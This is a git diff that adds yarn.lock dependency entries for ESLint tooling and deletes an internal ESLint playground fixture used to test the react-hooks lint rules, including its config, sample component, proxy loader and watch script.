+  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
+  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+  dependencies:
+    estraverse "^5.2.0"
+
+estraverse@^5.1.0, estraverse@^5.2.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
+
+esutils@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.2.tgz#0abf4f1caa5bcb1f7a9d8acc6dea4faaa04bac9b"
+  integrity sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=
+
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-json-stable-stringify@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz#d5142c0caee6b1189f87d3a76111064f86c8bbf2"
+  integrity sha1-1RQsDK7msRifh9OnYREGT4bIu/I=
+
+fast-levenshtein@^2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
+
+file-entry-cache@^8.0.0:
+  version "8.0.0"
+  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-8.0.0.tgz#7787bddcf1131bffb92636c69457bbc0edd6d81f"
+  integrity sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==
+  dependencies:
+    flat-cache "^4.0.0"
+
+find-up@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc"
+  integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
+  dependencies:
+    locate-path "^6.0.0"
+    path-exists "^4.0.0"
+
+flat-cache@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-4.0.1.tgz#0ece39fcb14ee012f4b0410bd33dd9c1f011127c"
+  integrity sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==
+  dependencies:
+    flatted "^3.2.9"
+    keyv "^4.5.4"
+
+flatted@^3.2.9:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.2.tgz#adba1448a9841bec72b42c532ea23dbbedef1a27"
+  integrity sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==
+
+gensync@^1.0.0-beta.2:
+  version "1.0.0-beta.2"
+  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
+  integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==
+
+glob-parent@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3"
+  integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
+  dependencies:
+    is-glob "^4.0.3"
+
+globals@^14.0.0:
+  version "14.0.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-14.0.0.tgz#898d7413c29babcf6bafe56fcadded858ada724e"
+  integrity sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+hermes-estree@0.25.1:
+  version "0.25.1"
+  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.25.1.tgz#6aeec17d1983b4eabf69721f3aa3eb705b17f480"
+  integrity sha512-0wUoCcLp+5Ev5pDW2OriHC2MJCbwLwuRx+gAqMTOkGKJJiBCLjtrvy4PWUGn6MIVefecRpzoOZ/UV6iGdOr+Cw==
+
+hermes-parser@^0.25.1:
+  version "0.25.1"
+  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.25.1.tgz#5be0e487b2090886c62bd8a11724cd766d5f54d1"
+  integrity sha512-6pEjquH3rqaI6cYAXYPcz9MS4rY6R4ngRgrgfDshRptUZIc3lw0MCIJIGDj9++mfySOuPTHB4nrSW99BCvOPIA==
+  dependencies:
+    hermes-estree "0.25.1"
+
+ignore@^5.2.0:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+import-fresh@^3.2.1:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf"
+  integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-glob@^4.0.0, is-glob@^4.0.3:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+isexe@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+
+jiti@^2.4.2:
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/jiti/-/jiti-2.4.2.tgz#d19b7732ebb6116b06e2038da74a55366faef560"
+  integrity sha512-rg9zJN+G4n2nfJl5MW3BMygZX56zKPNVEYYqq7adpmMh4Jn2QNEwhvQlFy6jPVdcod7txZtKHWnyZiA3a0zP7A==
+
+js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-4.1.0.tgz#c1fb65f8f5017901cdd2c951864ba18458a10602"
+  integrity sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==
+  dependencies:
+    argparse "^2.0.1"
+
+jsesc@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/jsesc/-/jsesc-3.1.0.tgz#74d335a234f67ed19907fdadfac7ccf9d409825d"
+  integrity sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==
+
+json-buffer@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13"
+  integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+json5@^2.2.3:
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/json5/-/json5-2.2.3.tgz#78cd6f1a19bdc12b73db5ad0c61efd66c1e29283"
+  integrity sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==
+
+keyv@^4.5.4:
+  version "4.5.4"
+  resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93"
+  integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
+  dependencies:
+    json-buffer "3.0.1"
+
+levn@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
+  integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==
+  dependencies:
+    prelude-ls "^1.2.1"
+    type-check "~0.4.0"
+
+locate-path@^6.0.0:
+  version "6.0.0"
+  resolved "https://registry.yarnpkg.com/locate-path/-/locate-path-6.0.0.tgz#55321eb309febbc59c4801d931a72452a681d286"
+  integrity sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==
+  dependencies:
+    p-locate "^5.0.0"
+
+lodash.merge@^4.6.2:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/lodash.merge/-/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
+  integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
+
+lru-cache@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/lru-cache/-/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
+  integrity sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==
+  dependencies:
+    yallist "^3.0.2"
+
+minimatch@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
+  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+natural-compare@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
+  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
+
+node-releases@^2.0.21:
+  version "2.0.21"
+  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.21.tgz#f59b018bc0048044be2d4c4c04e4c8b18160894c"
+  integrity sha512-5b0pgg78U3hwXkCM8Z9b2FJdPZlr9Psr9V2gQPESdGHqbntyFJKFW4r5TeWGFzafGY3hzs1JC62VEQMbl1JFkw==
+
+optionator@^0.9.3:
+  version "0.9.4"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734"
+  integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==
+  dependencies:
+    deep-is "^0.1.3"
+    fast-levenshtein "^2.0.6"
+    levn "^0.4.1"
+    prelude-ls "^1.2.1"
+    type-check "^0.4.0"
+    word-wrap "^1.2.5"
+
+p-limit@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+  dependencies:
+    yocto-queue "^0.1.0"
+
+p-locate@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
+  integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
+  dependencies:
+    p-limit "^3.0.2"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+path-exists@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+picocolors@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+punycode@^2.1.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
+  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+semver@^6.3.1:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+  dependencies:
+    shebang-regex "^3.0.0"
+
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+strip-json-comments@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+type-check@^0.4.0, type-check@~0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
+  integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
+  dependencies:
+    prelude-ls "^1.2.1"
+
+typescript@^5.4.3:
+  version "5.9.3"
+  resolved "https://registry.yarnpkg.com/typescript/-/typescript-5.9.3.tgz#5b4f59e15310ab17a216f5d6cf53ee476ede670f"
+  integrity sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==
+
+update-browserslist-db@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.yarnpkg.com/update-browserslist-db/-/update-browserslist-db-1.1.3.tgz#348377dd245216f9e7060ff50b15a1b740b75420"
+  integrity sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==
+  dependencies:
+    escalade "^3.2.0"
+    picocolors "^1.1.1"
+
+uri-js@^4.2.2:
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz#94c540e1ff772956e2299507c010aea6c8838eb0"
+  integrity sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==
+  dependencies:
+    punycode "^2.1.0"
+
+which@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
+  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+yallist@^3.0.2:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
+  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==
+
+"zod-validation-error@^3.5.0 || ^4.0.0":
+  version "4.0.2"
+  resolved "https://registry.yarnpkg.com/zod-validation-error/-/zod-validation-error-4.0.2.tgz#bc605eba49ce0fcd598c127fee1c236be3f22918"
+  integrity sha512-Q6/nZLe6jxuU80qb/4uJ4t5v2VEZ44lzQjPDhYJNztRQ4wyWc6VF3D3Kb/fAuPetZQnhS3hnajCf9CsWesghLQ==
+
+"zod@^3.25.0 || ^4.0.0":
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/zod/-/zod-4.2.0.tgz#01e86f2c2b6d525a1b9fa6dbe78beccad082118f"
+  integrity sha512-Bd5fw9wlIhtqCCxotZgdTOMwGm1a0u75wARVEY9HMs1X17trvA/lMi4+MGK5EUfYkXVTbX8UDiDKW4OgzHVUZw==
diff --git a/fixtures/eslint/.eslintrc.json b/fixtures/eslint/.eslintrc.json
deleted file mode 100644
index e03178a42a72..000000000000
--- a/fixtures/eslint/.eslintrc.json
+++ /dev/null
@@ -1,15 +0,0 @@
-{
-  "root": true,
-  "parserOptions": {
-    "ecmaVersion": 8,
-    "sourceType": "module",
-    "ecmaFeatures": {
-      "jsx": true
-    }
-  },
-  "plugins": ["react-hooks"],
-  "rules": {
-    "react-hooks/rules-of-hooks": 2,
-    "react-hooks/exhaustive-deps": 2
-  }
-}
diff --git a/fixtures/eslint/README.md b/fixtures/eslint/README.md
deleted file mode 100644
index 28ab22551372..000000000000
--- a/fixtures/eslint/README.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# ESLint Playground Fixture
-
-This is an internal playground for quick iteration on our lint rules inside an IDE like VSCode.
-
-See instructions in `./index.js` in this directory.
-
-![Demo](https://duaw26jehqd4r.cloudfront.net/items/2Z390a31003O0l0o0e3O/Screen%20Recording%202019-01-16%20at%2010.29%20PM.gif?v=d6856125)
\ No newline at end of file
diff --git a/fixtures/eslint/index.js b/fixtures/eslint/index.js
deleted file mode 100644
index d53415310560..000000000000
--- a/fixtures/eslint/index.js
+++ /dev/null
@@ -1,26 +0,0 @@
-// This is a testing playground for our lint rules.
-
-// 1. Run yarn && yarn start
-// 2. "File > Add Folder to Workspace" this specific folder in VSCode with ESLint extension
-// 3. Changes to the rule source should get picked up without restarting ESLint server
-
-function Comment({comment, commentSource}) {
-  const currentUserID = comment.viewer.id;
-  const environment = RelayEnvironment.forUser(currentUserID);
-  const commentID = nullthrows(comment.id);
-  useEffect(() => {
-    const subscription = SubscriptionCounter.subscribeOnce(
-      `StoreSubscription_${commentID}`,
-      () =>
-        StoreSubscription.subscribe(
-          environment,
-          {
-            comment_id: commentID,
-          },
-          currentUserID,
-          commentSource
-        )
-    );
-    return () => subscription.dispose();
-  }, [commentID, commentSource, currentUserID, environment]);
-}
diff --git a/fixtures/eslint/package.json b/fixtures/eslint/package.json
deleted file mode 100644
index 04f8d6b98be9..000000000000
--- a/fixtures/eslint/package.json
+++ /dev/null
@@ -1,12 +0,0 @@
-{
-  "private": true,
-  "name": "eslint-playground",
-  "dependencies": {
-    "eslint": "4.1.0",
-    "eslint-plugin-react-hooks": "link:./proxy"
-  },
-  "scripts": {
-    "start": "./watch.sh",
-    "lint": "eslint index.js"
-  }
-}
diff --git a/fixtures/eslint/proxy/index.js b/fixtures/eslint/proxy/index.js
deleted file mode 100644
index f54e672d2112..000000000000
--- a/fixtures/eslint/proxy/index.js
+++ /dev/null
@@ -1,35 +0,0 @@
-'use strict';
-
-// This file is a proxy for our rule definition that will
-// load the latest built version on every check. This makes
-// it convenient to test inside IDEs (which would otherwise
-// load a version of our rule once and never restart the server).
-// See instructions in ../index.js playground.
-
-let build;
-reload();
-
-function reload() {
-  for (let id in require.cache) {
-    if (/eslint-plugin-react-hooks/.test(id)) {
-      delete require.cache[id];
-    }
-  }
-  // Point to the built version.
-  build = require('../../../build/oss-experimental/eslint-plugin-react-hooks');
-}
-
-let rules = {};
-for (let key in build.rules) {
-  if (build.rules.hasOwnProperty(key)) {
-    rules[key] = Object.assign({}, build.rules, {
-      create() {
-        // Reload changes to the built rule
-        reload();
-        return build.rules[key].create.apply(this, arguments);
-      },
-    });
-  }
-}
-
-module.exports = {rules};
diff --git a/fixtures/eslint/proxy/package.json b/fixtures/eslint/proxy/package.json
deleted file mode 100644
index 1461c2d43f5f..000000000000
--- a/fixtures/eslint/proxy/package.json
+++ /dev/null
@@ -1,4 +0,0 @@
-{
-  "private": true,
-  "version": "0.0.0"
-}
\ No newline at end of file
diff --git a/fixtures/eslint/watch.sh b/fixtures/eslint/watch.sh
deleted file mode 100755
index 0ca6359c0351..000000000000
--- a/fixtures/eslint/watch.sh
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/bash
-(cd ../.. && yarn build eslint --type=NODE_DEV)
-(cd ../.. && watchman-make --make 'yarn build eslint --type=NODE_DEV' -p 'packages/eslint-plugin-*/**/*' -t ignored)
diff --git a/fixtures/eslint/yarn.lock b/fixtures/eslint/yarn.lock
deleted file mode 100644
index 7a557036da3a..000000000000
